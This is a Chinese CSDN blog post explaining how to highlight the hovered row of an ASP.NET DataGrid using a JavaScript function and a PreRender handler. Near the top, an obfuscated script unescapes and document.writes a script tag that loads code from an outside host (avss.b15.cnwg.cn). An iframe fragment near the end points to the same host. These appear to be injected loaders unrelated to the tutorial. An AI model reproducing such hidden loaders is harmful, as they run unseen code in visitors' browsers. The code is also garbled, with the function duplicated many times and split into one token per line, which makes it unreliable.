在ASP.NET中实现鼠标移动悬停在DataGrid时高亮显示这一行的方法

本文介绍了如何在ASP.NET的DataGrid中通过HTML标签和JavaScript,实现在鼠标悬停时高亮显示当前行的功能。
摘要由CSDN通过智能技术生成
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在ASP.NET中实现鼠标移动悬停在DataGrid时高亮显示这一行的方法



首先在WebFrom页面中添加JavaScript 代码块
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
 1
<
script
>
 2
        
//
鼠标移动时高亮显示所悬停的行
 3
        
function
 SetDataGridBackColor(color,isMouseOut)
 4
        
{
 5
            
var
 tr
=
event.srcElement.parentElement;
 6
            
 7
            
var
 iRowIndex 
=
 tr.rowIndex ;
 8
            
if
( isMouseOut )
 9
            
{
10
                
if
( ( iRowIndex 
%
 
2
 ) 
==
 
1
 )
11
                
{
12
                    tr.style.backgroundColor 
=
 color;
13
                }
14
                
else
15
                
{
16
                    tr.style.backgroundColor 
=
 
"
#EAE9D7
"
;
17
                }
18
            }
19
            
else
20
            
{
21
                tr.style.backgroundColor 
=
 color;
22
            }
23
        }
24
        
</
script
>
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
//鼠标移动时高亮显示所悬停的行function SetDataGridBackColor(color,isMouseOut){var tr=event.srcElement.parentElement;var iRowIndex = tr.rowIndex ;if( isMouseOut ){if( ( iRowIndex % 2 ) == 1 ){tr.style.backgroundColor = color;}else{tr.style.backgroundColor = "#EAE9D7";}}else{tr.style.backgroundColor = color;}}
然后在aspx文件中的DataGrid事件中去注册这个脚本
    
private
 
void
 dgTemp_PreRender(
object
 sender, System.EventArgs e)
        
{
            
for
 (
int
 i 
=
 
0
 ; i 
<
 dgTemp.Items.Count; i
++
)
            
{
                dgTemp.Items[i].Attributes.Add(
"
onmouseover
"
,
"
SetDataGridBackColor('LightBlue',false);
"
);
                dgTemp.Items[i].Attributes.Add(
"
onmouseout
"
,
"
SetDataGridBackColor('white',true);
"
);
            }
        }
为了防止DataGrid标头的滚动,可以在增加这么一个脚本
        
private
 
void
 dgTemp_ItemCreated(
object
 sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
        
{
            
//
使DataGrid标头不滚动
            
if
 (e.Item.ItemType 
==
 ListItemType.Header)
            
{
                e.Item.Style.Add(
"
position
"
,
"
relative;top:expression(document.all['dgBHGJBSZ'].offsetParent.scrollTop);
"
);
            }
        }
链接地址:
http://Arthur1999.cnblogs.com/archive/2006/07/14/450487.html
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值